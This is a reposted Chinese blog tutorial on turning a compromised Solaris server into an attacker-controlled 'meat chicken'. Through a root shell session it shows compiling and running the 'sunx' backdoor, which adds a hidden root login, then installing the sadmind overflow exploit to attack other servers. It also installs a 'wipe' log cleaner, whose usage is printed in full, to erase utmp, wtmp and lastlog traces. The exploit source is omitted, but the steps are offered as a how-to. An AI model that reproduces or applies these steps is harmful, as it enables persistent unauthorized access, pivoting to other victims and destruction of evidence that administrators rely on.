菜鸟俱乐部之简单肉鸡制作大放送(转)[@more@]
一.前言..
后门制作对于成功入侵后保持权限有很重要的意义,本文介绍简单的实用后门的制作技术,以及如何制作一台肉鸡.(哈哈哈~不要变成坏孩子哦!)
二.准备..
首先我们需要1.sunx 2.solaris远程溢出程序 3.wipe
三.过程..
#id
uid=0 (root) gid=0 (root) (哈哈哈哈~~成功拿到root)
#vi sunx.c
……
……
:w
:q (保存退出vi)
#gcc -o sunx sunx.c
: command not found (昏~where is gcc)
哈哈~一般solaris主机默认没有gcc,但是管理员通常会在/usr/local/bin/下安装一个.当然我们也可以用whereis命令查找..
#whereis -b gcc
gcc:/usr/local/bin/gcc (哈哈~出来了哦~!)
#/usr/local/bin/gcc -o sunx sunx.c (编译sunx.c为可执行文件)
……(过了一会儿)
#chmod 755 sunx (设置为可执行)
#sunx (有人偷看MM洗澡澡啊~~打色狼~哈哈哈)
……
这样就安装好一个backdoor了
你可以telnet host(ftp也可以) 用sunxdoor这个用户名登陆(root权限)
作为肉鸡一定要可以作为入侵其他服务器的跳板,所以一些常见的溢出程序一定少不了.所以下一步是安装这些程序,我以sadxmind为例子.
# vi sad.c
……(程序内容省略)
:w
:q
#/usr/local/bin/gcc -o sad sad.c
#chmod 755 sad (这样就可以使用sad了)
恩~我们还缺少一样东西,哈哈~就是擦pp的东西,哈哈哈哈~~~~~~(要不然被发现就惨了,呵呵~)基本就是清除utmp&utmpx&wtmp&wtmpx这几个文件(当
然还有其他一些log文件),我们可以利用wipe程序...
#vi wipe.c
……
#/usr/local/bin/gcc -o wipe wipe.c
#chmod 755 wipe
#wipe(看看使用参数)
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames : wipe u [username]
Erase one username on tty: wipe u [username] [tty]
WTMP editing:
Erase last entry for user : wipe w [username]
Erase last entry on tty : wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user : wipe l [username]
Alter lastlog entry : wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty : wipe a [username] [tty]
好了~我要说的说完了,再见!
本文来自:http://www.linuxpk.com/30616.html
-->linux电子图书免费下载和技术讨论基地
·上一篇:
完美破解手记:宽带FTP服务器V1.0
·下一篇:
解密标准操作流程---解密技术规范
| ||
关于我们 | 联系方式 | 广告合作 | 诚聘英才 | 网站地图 | 网址大全 | 友情链接 | 免费注册 | ||
| ||
Copyright © 2004 - 2007 All Rights Reserved 来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10763080/viewspace-970164/,如需转载,请注明出处,否则将追究法律责任。
上一篇:
典型攻击之渗透攻击必用命令与步骤(转)
请登录后发表评论
登录
全部评论
<%=items[i].createtime%>
<%=items[i].content%> <%if(items[i].items.items.length) { %>
<%for(var j=0;j
<%}%> <%}%>
<%=items[i].items.items[j].createtime%>
<%=items[i].items.items[j].username%> 回复 <%=items[i].items.items[j].tousername%>: <%=items[i].items.items[j].content%>
还有<%=items[i].items.total-5%>条评论
) data-count=1 data-flag=true>点击查看
<%}%>
|
转载于:http://blog.itpub.net/10763080/viewspace-970164/